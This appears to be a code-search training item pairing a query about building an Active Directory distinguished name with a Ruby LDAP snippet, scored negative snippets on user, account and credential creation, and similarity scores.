"def set_active_resource_credentials\n puts \"Changing credentials to something\"\n if @photocracy_mode\n $PHOTOCRACY = true\n username = APP_CONFIG[:PHOTOCRACY_USERNAME]\n password = APP_CONFIG[:PHOTOCRACY_PASSWORD]\n else\n $PHOTOCRACY = false\n username = APP_CONFIG[:PAIRWISE_USERNAME]\n password = APP_CONFIG[:PAIRWISE_PASSWORD]\n end\n active_resource_classes = [Choice, Density, Prompt, Question, Session]\n active_resource_classes.each do |klass|\n klass.user = username\n klass.password = password\n end\nend",
"def create(attributes)\n user = new(:username => attributes[:username])\n if(attributes[:source_id])\n user.source_id = attributes[:source_id]\n end\n if(user.save)\n if(attributes[:provider] == :internal)\n identity = Identity.new(\n :uid => attributes[:username],\n :email => attributes[:email],\n :provider => :internal\n )\n identity.password = attributes[:password]\n identity.password_confirmation = attributes[:password_confirmation]\n identity.user = user\n if(identity.save)\n user.reload\n user\n else\n raise 'creation failed!'\n end\n end\n user\n else\n false\n end\n end",
"def build_account(data)\n account, iban = data\n Account.new(\n bank: self,\n id: account['cviejo']['numerodecontrato'],\n name: account.fetch('descripcion', '').strip(),\n available_balance: money(account['saldoActual']),\n balance: money(account['saldoActual']),\n iban: iban['codIban'].values().join.strip,\n description: account.fetch('descripcion', '').strip(),\n contract_id: account['cviejo']['subgrupo']\n )\n end",
"def build_account_users\n account.account_users.build(\n user_id: owner_user.id,\n user_role: \"Owner\",\n created_by: current_user.id,\n )\n account\n end",
"def create(attributes)\n response = JSON.parse(@client.post('card_accounts', attributes).body)\n Promisepay::CardAccount.new(@client, response['card_accounts'])\n end",
"def user_params\n params.require(:user).permit(\n :first_name,\n :last_name,\n :mobile,\n :email,\n :address_id,\n :active,\n :code,\n :password,\n :stripe_id,\n role_ids: [],\n addresses_attributes: [:id, :line_1, :postcode, :line_2, :company_name]\n )\n end",
"def create_activation_digest\n\t self.activation_token = User.new_token\n\t self.activation_digest = User.digest(activation_token)\n\t end",
"def create(config, name, user_guid)\n\n token = @client.token\n\n user_setup_obj = UsersSetup.new(config)\n admin_token = user_setup_obj.get_admin_token\n\n # elevate user just to create organization\n @client.token = admin_token\n\n new_org = @client.organization\n new_org.name = name\n if new_org.create!\n org_guid = new_org.guid\n users_obj = Users.new(admin_token, @client.target)\n users_obj.add_user_to_org_with_role(org_guid, user_guid, ['owner', 'billing'])\n\n # then put token back to the initial one\n @client.token = token\n org_guid\n end\n\n end",
"def generate_credentials\n self.username = SecureRandom.alphanumeric(12)\n self.password = SecureRandom.urlsafe_base64(12)\n end",
"def activedirectory_users(opts, accountname_expr = 'jturner')\n\n ldap = Net::LDAP.new :host => opts[:ldaphost],\n\t:port => opts[:ldapport],\n\t:auth => {\n\t:method => :simple,\n\t:username => opts[:binddn],\n\t:password => opts[:bindpassword]\n \n }\n\n filter = Net::LDAP::Filter.construct(\"(&(objectCategory=Person)(sAMAccountName=#{accountname_expr}))\")\n\n ldap.search(\n\t:base => opts[:basedn],\n\t:filter => filter,\n\t:attributes => [:samaccountname, :displayname, :mail, :telephonenumber, :description, :department, :company, :physicaldeliveryofficename, :streetaddress, :l, :st, :postalcode, :co, :thumbnailPhoto]\n ) \nend",
"def generate_personal_key\n self.personal_key = OaUtils.generate_random_key\n self.state = :active\n end",
"def build_identity(attributes = {}, options = {})\n @provider_identity.build_record(attributes, options)\n end",
"def setCustomerAttributes(customernumber, email, firstname, lastname, salutation, password, shopId, street, city, zipcode, country)\n #if string_country\n customer_properties = {\n :number => customernumber,\n :email => email,\n :firstname => firstname,\n :lastname => lastname,\n :salutation => salutation,\n :password => password,\n :shopId => shopId,\n :billing => {\n :firstname => firstname,\n :lastname => lastname,\n :salutation => salutation,\n :street => street,\n :city => city,\n :zipcode => zipcode,\n :country => country\n }\n }\n createCustomer(customer_properties)\n end",
"def create\n return request_sreg unless params[:user][:identity_url].blank? || !params[:commit].eql?('Load from OpenID')\n logout_keeping_session! unless logged_in? && current_user.is_administrator?\n @object = User.new(params[:user])\n # Add attributes not available to mass-assign\n login = params[:user][:login]\n identity_url = params[:user][:identity_url]\n @object.login = (login.blank? ? nil : login)\n @object.identity_url = (identity_url.blank? ? nil : identity_url)\n success = @object && @object.valid?\n @object.save! if success\n # the normal case of user signup\n @object.register! if success && params[:activate].to_i != 1\n # special case for administrators creating accounts\n if success && params[:activate].to_i == 1 && (logged_in? && current_user.is_administrator?)\n @object.activate!\n create_change_log_entry(@object.id, nil, 'activate', 'Automatic user activation on create.')\n end\n respond_to do |format|\n if success && @object.errors.empty?\n if logged_in? && current_user.is_administrator?\n flash[:notice] = 'The account has been created!'\n create_change_log_entry\n format.html { redirect_to(users_path) }\n format.xml { render :xml => @object, :status => :created, :location => @object }\n else\n flash[:notice] = 'Your account has been created! Please check your email, to complete the activation process.'\n create_change_log_entry(@object.id, @object.id)\n format.html { redirect_to(login_path) }\n format.xml { render :xml => @object, :status => :created, :location => @object }\n end\n else\n flash.now[:error] = \"We couldn't set up your account, sorry. Please try again, or contact the site administrator.\"\n format.html { render :action => 'new', :template => 'users/form' }\n format.xml { render :xml => @object.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def user_attributes\n {\n email: \"test@example.com\",\n username: \"Test\",\n bio: \"bio\",\n url: \"https://example.com\",\n twitter: \"djensenius\",\n portrait: \"head.jpg\"\n }\nend",
"def attributes_for_token_generator\n {\n resource_owner_id: resource_owner_id,\n scopes: scopes,\n application: application,\n expires_in: expires_in,\n created_at: created_at,\n }.tap do |attributes|\n if Doorkeeper.config.polymorphic_resource_owner?\n attributes[:resource_owner] = resource_owner\n end\n\n Doorkeeper.config.custom_access_token_attributes.each do |attribute_name|\n attributes[attribute_name] = public_send(attribute_name)\n end\n end\n end",
"def create_attrs hash\n r = hash.map { |k,v| \"#{k}=\\\"#{escape_attr v.to_s}\\\"\" }.join(' ')\n \" #{r}\" unless r.empty?\n end",
"def create_patron_user\n\t branch = Nimbos::Branch.where(patron_id: self.id).first\n\t role = Nimbos::Role.find_or_create_by(name: \"admin\")\n\t user = self.users.new\n\t user.name = self.contact_name\n\t user.surname = self.contact_surname\n\t user.email = self.email\n\t user.language = self.language\n\t user.locale = self.locale\n\t user.mail_encoding = self.mail_encoding\n\t user.time_zone = self.time_zone\n\t user.branch_id = branch.id\n\t user.password = self.password\n\t user.password_confirmation = self.password\n\t user.firstuser = true\n\t user.role_ids = [role.id]\n\t user.save!\n\t #user.add_role :admin\n\t end",
"def assign_provider_attrs(user, auth_hash)\n user.assign_attributes({\n nickname: auth_hash['info']['nickname'],\n name: auth_hash['info']['name'],\n avatar_url: get_large_image(auth_hash['info']['image']),\n email: auth_hash['info']['email']\n })\n end",
"def create_user(attributes = {})\n elektron_identity.post(\"users\") { { user: attributes } }.body[\"user\"]\n end",
"def make_activation_code\n self.activation_code = self.class.make_token\n end",
"def generate_generatable_options\n common_password\n security_group\n\n set_cf_release_branch(\"master\")\n end",
"def create_account(user)\n account = Account.to_adapter.get!(user.id)\n update_status = account.update_with_password({ \"email\" => user.email, \"name\" => user.username })\nend"
] |
[
"0.6295401",
"0.5926146",
"0.5900506",
"0.5828363",
"0.57306826",
"0.5727451",
"0.5653611",
"0.5631994",
"0.5606359",
"0.55958134",
"0.5565437",
"0.5538118",
"0.5532626",
"0.54499716",
"0.54478127",
"0.5445919",
"0.54455245",
"0.54440916",
"0.5436969",
"0.5432384",
"0.5419374",
"0.5404838",
"0.5368373",
"0.5366093",
"0.5355066",
"0.5312588",
"0.5310613",
"0.5301986",
"0.52945346",
"0.52840453",
"0.5280587",
"0.52744377",
"0.5274172",
"0.5273042",
"0.52674884",
"0.52466255",
"0.5237629",
"0.5230573",
"0.52040595",
"0.5197917",
"0.5197228",
"0.51957184",
"0.5188769",
"0.5188165",
"0.5185059",
"0.51841944",
"0.5175258",
"0.5173606",
"0.51694345",
"0.51551366",
"0.51372343",
"0.5137122",
"0.513287",
"0.5131589",
"0.5131413",
"0.513113",
"0.5128845",
"0.5125065",
"0.5124339",
"0.51238096",
"0.5123102",
"0.51223683",
"0.5121624",
"0.5113324",
"0.5109692",
"0.5099702",
"0.5099095",
"0.5098667",
"0.509382",
"0.5091414",
"0.5083226",
"0.508056",
"0.5077143",
"0.50718176",
"0.5071487",
"0.50691664",
"0.50627846",
"0.50427157",
"0.5042245",
"0.5034976",
"0.50300926",
"0.5025004",
"0.50226325",
"0.5022393",
"0.5012642",
"0.50121593",
"0.5000097",
"0.49961644",
"0.49939322",
"0.4990518",
"0.49887547",
"0.49875894",
"0.4986041",
"0.4985717",
"0.49798915",
"0.49739012",
"0.49719414",
"0.49692255",
"0.49686414",
"0.49673024"
] |
0.544643
|
15
|
Build user distinguished name for active directory account
|
def ldap_distinguished_name(user)
distinguished_name = "cn=#{user.human_name},"
if user.is_staff
if !user.masters_program.blank? && organization_units.include?(user.masters_program)
distinguished_name += "ou=" + user.masters_program + ",ou=Staff,"
else
distinguished_name += "ou=Staff,"
end
elsif user.is_student
if !user.masters_program.blank? && organization_units.include?(user.masters_program)
distinguished_name += "ou=" + user.masters_program + ",ou=Student,"
else
distinguished_name += "ou=Student,"
end
end
distinguished_name +="ou=Sync,"+base_distinguished_name
return distinguished_name
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def dn_for username\n \"uid=#{username},#{@dn_suffix}\"\n end",
"def base_distinguished_name\n base_name = \"\"\n AD_DOMAIN.split('.').each do |item|\n base_name+=\"dc=#{item},\"\n end\n base_name.chop\n end",
"def dn_from_login(login)\n \"cn=#{login},#{user_root_dn}\"\n end",
"def get_full_name(user)\n begin\n Etc.getpwnam(\"#{user}\")[\"gecos\"].chomp\n # or with dscl\n # %x(dscl /Search -read /Users/#{user} dsAttrTypeNative:cn).split.drop(1).join(\" \") \n rescue Exception => e\n end\n \n end",
"def build_discourse_username(edx_username)\n edx_username.slice(0, DISCOURSE_USERNAME_MAX_LENGTH).gsub('__', '_').chomp('_')\n end",
"def dn\n dn_value = id\n if dn_value.nil?\n raise DistinguishedNameNotSetError.new,\n _(\"%s's DN attribute (%s) isn't set\") % [self, dn_attribute]\n end\n _base = base\n _base = nil if _base.empty?\n [\"#{dn_attribute}=#{dn_value}\", _base].compact.join(\",\")\n end",
"def dn(dn_prefix, treebase)\n \"#{dn_prefix},#{treebase},#{@ldap.base}\"\n end",
"def full_name\n \"#{username}/#{name}\"\n end",
"def get_DN(cn)\n return \"cn=#{escape_seg(cn)},#{@people_base}\"\n end",
"def preprocess_username\n @username = @options[:ldap][:username_prefix] + @username if @options[:ldap][:username_prefix]\n end",
"def generate_username_for_district(district_guid, first_name, last_name, iteration = 0)\n username = first_name.downcase[0] + last_name.downcase[0..4]\n username += iteration.to_s if iteration > 0\n return username if username_unique_for_district?(district_guid, username)\n return generate_username_for_district(district_guid, first_name, last_name, iteration + 1)\n end",
"def ldap_username\n @attributes[:ldap_username]\n end",
"def ldap_realname(username)\n\n begin\n # Workaround for bug in jruby-ldap-0.0.1:\n LDAP::load_configuration()\n rescue\n\n end\n\n ldap_host = 'ldap.uio.no'\n conn = LDAP::Conn.new(ldap_host, LDAP::LDAP_PORT)\n filter = \"(uid=#{username})\";\n base_dn = \"dc=uio,dc=no\"\n\n if conn.bound? then\n conn.unbind()\n end\n\n ansatt = nil\n conn.bind do\n\n conn.search2(\"dc=uio,dc=no\", LDAP::LDAP_SCOPE_SUBTREE,\n \"(uid=#{username})\", nil, false, 0, 0).each do |entry|\n\n brukernavn = entry.to_hash[\"uid\"][0]\n fornavn = entry.to_hash[\"givenName\"][0]\n etternavn = entry.to_hash[\"sn\"][0]\n # epost = entry.to_hash[\"mail\"][0]\n # adresse = entry.to_hash[\"postalAddress\"][0]\n\n return fornavn + \" \" + etternavn\n end\n end\n\nend",
"def build_rootdn \n [node['ca_openldap']['rootdn'], node['ca_openldap']['basedn']].join(',')\n end",
"def full_user_name\n formatedName=first_name[0].upcase+first_name[1,first_name.size].downcase+\" \"+last_name[0].upcase+last_name[1,last_name.size].downcase\n return formatedName.strip if (first_name || last_name)\n return \"Anonymous\"\n end",
"def user_root_dn\n \"#{current_configuration['user-subgroup-ou']},#{current_configuration['application-users-ou']},#{current_configuration['root-dn']}\"\n end",
"def new_org_name\n \"#{@user.first_name.upcase_first} #{@user.last_name.upcase_first}\"\n end",
"def full_username\r\n return @user.username + '#' + @user.discriminator\r\n end",
"def create_login_name(first, family = '')\n if family.length == 0\n first, family = create_first_family(first)\n end\n if family.length > 0\n dputs(2) { 'Family name + First name' }\n login = family.chars.first + first.split.first\n else\n login = first.split.first\n end\n\n accents_replace(login)\n end",
"def username(fname, lname)\n [fname, lname].join('.').downcase\n end",
"def dn(name)\n [\"#{rdn}=#{name}\", base].join(\",\")\n end",
"def simple_username\n return user.firstname + ' ' + user.lastname.first + '.' if !user.nil?\n name\n end",
"def account_name\n last_four.present? ? name + ' ( ... ' + last_four.to_s + ')' : name\n end",
"def build_username(first, last, year, level=0)\n name = format_name(first, last)\n return nil if name.nil?\n\n yy = format_year(year)\n return nil if yy.nil?\n\n user_type_prefix(level) + name + yy\nend",
"def build_domain_name(env)\n config = env[:machine].provider_config\n domain_name =\n if config.default_prefix.nil?\n env[:root_path].basename.to_s.dup.concat('_')\n elsif config.default_prefix.empty?\n # don't have any prefix, not even \"_\"\n String.new\n else\n config.default_prefix.to_s.dup\n end\n domain_name << env[:machine].name.to_s\n domain_name.gsub!(/[^-a-z0-9_\\.]/i, '')\n domain_name << \"_#{Time.now.utc.to_i}_#{SecureRandom.hex(10)}\" if config.random_hostname\n domain_name\n end",
"def full_name\n name = `finger $USER 2> /dev/null | grep Login | colrm 1 46`.chomp\n name.present? ? name.squish : \"John Doe\"\n end",
"def full_name\n name = `finger $USER 2> /dev/null | grep Login | colrm 1 46`.chomp\n name.empty? ? \"John Doe\" : name.squish\n end",
"def display_name\n if cas_surname and cas_givenname\n cas_givenname + ' ' + cas_surname\n else\n username\n end\n end",
"def orgname\n @orgname ||= begin\n base = User.construct_username(@user.first_name, @user.last_name)\n @orgname_generator.call(base)\n end\n end",
"def proper_name # method to get the full name of user\n first_name + \" \" + last_name\n end",
"def given_name\n @net_ldap_entry[:givenname].first\n end",
"def ldap_username_field\n @attributes[:ldap_username_field]\n end",
"def get_account(authdata)\n '@' + authdata.info.nickname\n end",
"def format_username\n \t_email_base = self.email[/[^@]+/]\n \tself.username ||= _email_base.camelize.underscore.gsub(/\\./,\"_\") unless _email_base.nil?\n\n end",
"def to_ufn\n\t\tif LDAP.respond_to?( :dn2ufn )\n\t\t\treturn LDAP.dn2ufn( self.dn )\n\n\t\t# An implementation for LDAP libraries with no\n\t\t# dn2ufn\n\t\telse\n\t\t\tufn = ''\n\t\t\ttuples = self.split_dn\n\n\t\t\t# Separate the trailing domainComponents\n\t\t\tdcs = []\n\t\t\tdcs << tuples.pop while tuples.last =~ /^dc\\s*=/i\n\n\t\t\t# Append the non-dc tuples with their attributes stripped first\n\t\t\tufn << tuples.collect do |rdn|\n\t\t\t\trdn.\n\t\t\t\t\tgsub(/\\b#{ATTRIBUTE_TYPE}\\s*=/, '').\n\t\t\t\t\tgsub(/\\s*\\+\\s*/, ' + ')\n\t\t\tend.join( ', ' )\n\n\t\t\t# Now append the DCs joined with dots\n\t\t\tunless dcs.empty?\n\t\t\t\tufn << ', '\n\t\t\t\tufn << dcs.reverse.map {|rdn| rdn.sub(/dc\\s*=\\s*/i, '') }.join( '.' )\n\t\t\tend\n\n\t\t\treturn ufn\n\t\tend\n\tend",
"def formalise_username(n)\n name = Nameable::Latin.new.parse(n)\n if !name.last.nil?\n if name.gender == :female\n 'Ms ' + name.last\n else\n 'Mr ' + name.last\n end\n else\n name.first\n end\n end",
"def full_name\n if user_data\n \"#{user_data['first_name']&.downcase&.capitalize} #{user_data['last_name']&.downcase&.capitalize}\"\n end\n end",
"def base_prefix\n HaridsyncHelpers.ensure_uppercase_dn_component(group['ou'] || DEFAULT_PREFIX)\n end",
"def generate_username2 (fir, las)\n\tfir.gsub(/[\\W\\d]/, \"\").downcase[0] + las.gsub(/[\\W\\d]/, \"\").downcase unless\n\tfir === \"\" || las === \"\"\nend",
"def generate_username(base)\n username = base\n\n suffix = 0\n while User.exists?(username: username)\n username = \"#{base}#{suffix}\"\n suffix += 1\n end\n\n username\n end",
"def short_name\r\n return \"#{first_name[0].chr}. #{last_name}\"\r\n end",
"def short_user_name\n user.first_name\n end",
"def ldap_base_dn\n @attributes[:ldap_base_dn]\n end",
"def display_name\n \"#{username} <#{email}>\"\n end",
"def create_user(ldap) \n puts \"Enter user name to create user\"\n firstname = gets.chomp\n puts \"Enter Last name\"\n lastname = gets.chomp\n puts \"Enter password\"\n password = gets.chomp\n \n dn = \"cn=#{firstname},ou=people,dc=example,dc=com\"\n attr = {\n :objectClass => 'inetOrgPerson',\n :cn=> firstname,\n :sn => lastname,\n :userPassword => password\n }\n ldap.add(:dn => dn, :attributes => attr) \n puts \"****** Create_user result *******\" \n puts ldap.get_operation_result \n \n end",
"def get_user_name\n if first_name.blank?\n return email.split('@').first.capitalize unless email.blank? \n else\n return first_name.capitalize + \" \" + last_name.capitalize\n end \n return ''\n end",
"def account_name\n return company.company_name unless company.nil? || company.company_name.nil?\n\n [forename, surname].join(' ')\n end",
"def get_user_dn(login)\n\t\tldap_con = initialize_ldap_con(self.account, self.encrypted_password)\n\t\tlogin_filter = Net::LDAP::Filter.eq( self.attr_login, login ) \n\t\tobject_filter = Net::LDAP::Filter.eq( \"objectClass\", \"*\" ) \n\t\tattrs = {}\n\t\t\n\t\tldap_con.search( :base => self.base_dn, \n\t\t\t:filter => object_filter & login_filter, \n\t\t\t:attributes=> search_attributes) do |entry|\n\t\t\t\n\t\t\tattrs = get_user_attributes_from_ldap_entry(entry)\n\t\t\tattrs.merge!(:member_of => entry[self.attr_member].map {|e| /CN=([^,]+?)[,$]/i.match(e).captures.first })\n\t\t\t\n\t\t\tlogger.debug \"DN found for #{login}: #{attrs[:dn]}\" if logger && logger.debug?\n\t\tend\n\t\t\n\t\t\n\t\tattrs\n\tend",
"def build_username(first, last, year, i=0)\n user_type_prefix(i)+format_name(first, last)+format_year(year)\n\nend",
"def fullname\n fullname = DNSSD::Service.fullname @name.gsub(\"\\032\", ' '), @type, @domain\n fullname << '.' unless fullname =~ /\\.$/\n fullname\n end",
"def user_full_name\n if user\n user.first_name + ' ' + user.last_name\n else\n 'Anonymous'\n end\n end",
"def format_name(first, last)\n if first == \"\" || last == \"\"\n \tnil\n else \n \tfirst.gsub!(/[^A-Za-z]/, '')\n \tlast.gsub!(/[^A-Za-z]/, '')\n \tfirst = first.strip\n\tlast = last.split.join(\"\").strip\n\tuser_name = first[0] + last\n\tuser_name = user_name.downcase \n end\n user_name\nend",
"def user_name\n @user_name ||= InchCI::ProjectUID.new(uid).user_name\n end",
"def name(type=:short)\n if type == :short && !nickname.blank?\n nickname\n elsif type == :short && displayName\n first, last = displayName.split\n \"#{first} #{last[0]}\"\n elsif type == :full && displayName\n displayName\n else\n umbcusername\n end\n end",
"def user_name\n decode_string_member(:user_name)\n end",
"def user_name\n object.user.dxuser\n end",
"def display_name\n username\n end",
"def format_name(first, last)\n\tuser_name = \"\"\n\tif !first.empty? && !last.empty?\n\t \tuser_name = first.strip[0].downcase + last.strip.split.join('')\n\telse\n\t\treturn nil\n\tend\n\tuser_name.downcase\nend",
"def generate_username3 (*allArgs)\n\tyear = allArgs[2].to_s\n\tif year.length != 4 then return nil end\n\talphaName = generate_username2(allArgs[0],allArgs[1])\n\treturn alphaName + year[-2..-1]\nend",
"def login_user_name\n user_name.tr('.', '')\n end",
"def full_name\n \tif !self.first_name.nil? && !self.last_name.nil?\n\t\t\"#{self.first_name.titleize} #{self.last_name.titleize}\"\n\telsif !self.oauth_user_name.nil?\n\t\tself.oauth_user_name\n\telse\n\tend\n end",
"def full_name\n \"#{ owner }/#{ name }\" if owner && name\n end",
"def name\n if first_name.present? || last_name.present?\n [first_name, last_name].join(\" \").strip\n else\n username\n end\n end",
"def full_name(user)\n user.first_name + ' ' + user.last_name\n end",
"def format_username(user_id)\n \"<@#{user_id}>\"\n end",
"def user_name\n if /(.*)-\\d{8}-\\d{6}$/ =~ perma_link\n return $1\n else\n return \"unknown\"\n end\n end",
"def nickname\n (f, l) = full_name.split(\" \", 2)\n \"#{f}#{l.split(/[\\s']/).collect(&:first).join}\"\n end",
"def generate_username4 (first_name, last_name, birth_year, privilege=\"0\")\n user_priv = \"\"\n if (privilege == 1)\n user_priv = \"seller\"\n elsif (privilege == 2)\n \tuser_priv = \"manager\"\n elsif (privilege == 2)\n \tuser_priv = \"admin\"\n end\n\n if ((birth_year.to_s.length == 4) && (birth_year<2015) && (birth_year>1900))\n \t(privilege >= 1? user_priv += \"-\" : \"\") + first_name.chomp[0].downcase + last_name.downcase + birth_year.to_s.chomp[-2..-1]\n end\nend",
"def full_name\n if self.profile.present?\n \"#{self.profile.first_name.capitalize} #{self.profile.last_name.capitalize}\"\n else\n \"#{username.capitalize}\"\n end\n end",
"def name_of_user(username)\n username.split('.').map(&:capitalize)\n end",
"def full_name\n \treturn \"#{first_name} #{last_name}\".strip if(first_name || last_name) \n \t\"Anonymous\"\n end",
"def activedirectory_users(opts, accountname_expr = 'jturner')\n\n ldap = Net::LDAP.new :host => opts[:ldaphost],\n\t:port => opts[:ldapport],\n\t:auth => {\n\t:method => :simple,\n\t:username => opts[:binddn],\n\t:password => opts[:bindpassword]\n \n }\n\n filter = Net::LDAP::Filter.construct(\"(&(objectCategory=Person)(sAMAccountName=#{accountname_expr}))\")\n\n ldap.search(\n\t:base => opts[:basedn],\n\t:filter => filter,\n\t:attributes => [:samaccountname, :displayname, :mail, :telephonenumber, :description, :department, :company, :physicaldeliveryofficename, :streetaddress, :l, :st, :postalcode, :co, :thumbnailPhoto]\n ) \nend",
"def display_name \n username\n end",
"def display_name_for(user)\n user.first_name.capitalize + ' ' + user.last_name.capitalize + ' ( ID: ' + user.reference_number + ')'\n end",
"def logon_account(service_name)\n open_service(service_name, SC_MANAGER_CONNECT, SERVICE_QUERY_CONFIG) do |service|\n query_config(service) do |config|\n return config[:lpServiceStartName].read_arbitrary_wide_string_up_to(Puppet::Util::Windows::ADSI::User::MAX_USERNAME_LENGTH)\n end\n end\n end",
"def casual_full_name\n [just_first, last].join(\" \")\n end",
"def to_s\n \"#{username}\"\n end",
"def user_full_name\n first_name + \" \" + last_name\n end",
"def create_username() #t\n email_username = self.email.gsub(/(\\A([\\w\\.\\-\\+]+))@((?:[-a-z0-9]+\\.)+[a-z]{2,})\\z/i, \"\\\\1\")\n email_username = email_username.gsub(/\\W/, \"\")\n username_try = email_username\n \n i = 1\n found_unique_username = false\n while(!found_unique_username)\n if User.unique_username?(nil, username_try)\n found_unique_username = true\n else\n username_try = email_username + i.to_s\n end\n i += 1\n end\n \n self.username = username_try\n end",
"def bind_distinguished_name\n super\n end",
"def display_name\n \"#{user} - #{group}\"\n end",
"def displayname\n\t\treturn self[:displayName] ||\n\t\t\t[ self.givenName, self.sn ].compact.join( ' ' )\n\tend",
"def group_distinguished_name\n super\n end",
"def to_s\n username\n end",
"def to_s\n username\n end",
"def build_domain(user_storage)\n Complexy::Domain::User.new(user_storage.id, user_storage.first_name, user_storage.last_name)\n end",
"def full_name\n if !first_name && !last_name\n return \"New User\"\n else\n return first_name + \" \" + last_name\n end\n end",
"def full_name(tenant)\n if tenant.nickname.empty? == false\n puts \"#{tenant.f_name} '#{tenant.nickname}' #{tenant.l_name}\"\n elsif tenant.nickname.empty? == true\n puts \"#{tenant.f_name} #{tenant.l_name}\"\n end\nend",
"def full_name\n\t\tself.user_fname.capitalize + \" \" + self.user_lname.capitalize\n\tend",
"def username_domain(username = nil)\n username ||= options[:username] if options\n return unless username\n username.to_s.split('@').last\n end",
"def display_name\n #self.email.split('@')[0]\n self.username\n end",
"def full_name\n \n if (not self.first_name.nil? and not self.first_name.eql? \"\") or (not self.last_name.nil? and not self.last_name.eql? \"\")\n \"#{self.title} #{self.first_name} #{self.last_name}\".strip\n elsif self.username\n self.username \n else\n # wrapped email only prefix\n\n parsed_email = self.email.split('@')\n parsed_email[0]\n end\n end",
"def full_name\n \"#{self.nickname.blank? ? self.first_name : self.nickname} #{self.last_name}\"\n end",
"def short_name\n \"#{first_name} #{last_name[0, 1]}\"\n end",
"def full_name\n \"#{first_name} #{last_name}\"\n end",
"def get_account_name(current_value)\n name = sid_to_name(get_account_id(current_value))\n\n name || current_value\n end",
"def user_full_name\n return object.billing_name if object.billing_name.present?\n \"#{user_firstname} #{user_lastname}\"\n end",
"def user_display_name\n @attributes[:user_display_name]\n end",
"def safe_user_name\n user_name\n .gsub(\"'\", '')\n .gsub(/[^-_A-Za-z0-9]+/, '-')\n .delete_prefix('-')\n .delete_suffix('-')\n end",
"def user_name\n name = user.nil? ? '' : user.name\n end"
] |
[
"0.7708891",
"0.69992936",
"0.68062884",
"0.65035427",
"0.6493364",
"0.64712983",
"0.6456602",
"0.6441083",
"0.63279724",
"0.6324164",
"0.63120276",
"0.6270766",
"0.62604505",
"0.6229162",
"0.6192431",
"0.61550665",
"0.61402726",
"0.6117044",
"0.6091688",
"0.60821605",
"0.60649496",
"0.60547745",
"0.6049261",
"0.6048264",
"0.6017493",
"0.60084605",
"0.60011685",
"0.5981182",
"0.5962767",
"0.5956088",
"0.5951236",
"0.59463567",
"0.59162813",
"0.58834356",
"0.58716524",
"0.5862665",
"0.5834512",
"0.5831636",
"0.5823921",
"0.58109105",
"0.57928026",
"0.57893074",
"0.57871336",
"0.5784936",
"0.5776284",
"0.5756819",
"0.57486737",
"0.57347304",
"0.5734135",
"0.5699014",
"0.5686374",
"0.5684098",
"0.56733596",
"0.5670503",
"0.5668984",
"0.56665915",
"0.56623685",
"0.56577206",
"0.5656852",
"0.5653221",
"0.56444865",
"0.563982",
"0.5631233",
"0.56304955",
"0.56262594",
"0.5614635",
"0.56088966",
"0.5603061",
"0.56028587",
"0.5592157",
"0.5589463",
"0.5584103",
"0.5577764",
"0.5558434",
"0.5554771",
"0.55511975",
"0.5546481",
"0.55328006",
"0.5525011",
"0.55215764",
"0.5520459",
"0.5518447",
"0.55169237",
"0.55116236",
"0.55116236",
"0.5511331",
"0.5503738",
"0.55019796",
"0.54989874",
"0.54945475",
"0.5480756",
"0.54740816",
"0.54701644",
"0.54594713",
"0.5458497",
"0.54547167",
"0.54517233",
"0.54450774",
"0.54445237",
"0.5444226"
] |
0.7804183
|
0
|
Create base distinguished name from the active directory domain name
|
def base_distinguished_name
base_name = ""
AD_DOMAIN.split('.').each do |item|
base_name+="dc=#{item},"
end
base_name.chop
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def build_domain_name(env)\n config = env[:machine].provider_config\n domain_name =\n if config.default_prefix.nil?\n env[:root_path].basename.to_s.dup.concat('_')\n elsif config.default_prefix.empty?\n # don't have any prefix, not even \"_\"\n String.new\n else\n config.default_prefix.to_s.dup\n end\n domain_name << env[:machine].name.to_s\n domain_name.gsub!(/[^-a-z0-9_\\.]/i, '')\n domain_name << \"_#{Time.now.utc.to_i}_#{SecureRandom.hex(10)}\" if config.random_hostname\n domain_name\n end",
"def dn_for username\n \"uid=#{username},#{@dn_suffix}\"\n end",
"def dn(dn_prefix, treebase)\n \"#{dn_prefix},#{treebase},#{@ldap.base}\"\n end",
"def create_domain_name(domain_array)\n domain = domain_array.join('.')\n domain.encode!(\"US-ASCII\", :invalid => :replace, :undef => :replace, :replace => '?')\n domain = '?' unless /[\\w-]+(\\.[\\w-]+)+/ =~ domain\n return domain\n end",
"def get_DN(cn)\n return \"cn=#{escape_seg(cn)},#{@people_base}\"\n end",
"def dn_to_domain(dn)\n if dn.include? \"DC=\"\n return dn.gsub(',','').split('DC=')[1..-1].join('.')\n else\n return dn\n end\n end",
"def ldap_distinguished_name(user)\n distinguished_name = \"cn=#{user.human_name},\"\n\n if user.is_staff\n if !user.masters_program.blank? && organization_units.include?(user.masters_program)\n distinguished_name += \"ou=\" + user.masters_program + \",ou=Staff,\"\n else\n distinguished_name += \"ou=Staff,\"\n end\n elsif user.is_student\n if !user.masters_program.blank? && organization_units.include?(user.masters_program)\n distinguished_name += \"ou=\" + user.masters_program + \",ou=Student,\"\n else\n distinguished_name += \"ou=Student,\"\n end\n end\n\n distinguished_name +=\"ou=Sync,\"+base_distinguished_name\n return distinguished_name\n end",
"def dn(name)\n [\"#{rdn}=#{name}\", base].join(\",\")\n end",
"def ldap_base_dn\n @attributes[:ldap_base_dn]\n end",
"def compute_new_base\n ActiveLdap::DN.parse([base_prefix,self.class.base.to_s].compact.join(','))\n end",
"def build_rootdn \n [node['ca_openldap']['rootdn'], node['ca_openldap']['basedn']].join(',')\n end",
"def dn\n dn_value = id\n if dn_value.nil?\n raise DistinguishedNameNotSetError.new,\n _(\"%s's DN attribute (%s) isn't set\") % [self, dn_attribute]\n end\n _base = base\n _base = nil if _base.empty?\n [\"#{dn_attribute}=#{dn_value}\", _base].compact.join(\",\")\n end",
"def base_prefix\n HaridsyncHelpers.ensure_uppercase_dn_component(group['ou'] || DEFAULT_PREFIX)\n end",
"def dns_name\n [\"public\", fqdn].join(\".\")\n end",
"def dn_from_login(login)\n \"cn=#{login},#{user_root_dn}\"\n end",
"def rdn_to( dn )\n\t\tbase_re = Regexp.new( ',' + Regexp.quote(self.base_dn) + '$' )\n\t\treturn dn.to_s.sub( base_re, '' )\n\tend",
"def domain_name\n @domain_name ||= default_name\n end",
"def random_common_name(domain_name)\n cert_serial_number(domain_name).to_s(36)\n end",
"def random_common_name(domain_name)\n cert_serial_number(domain_name).to_s(36)\n end",
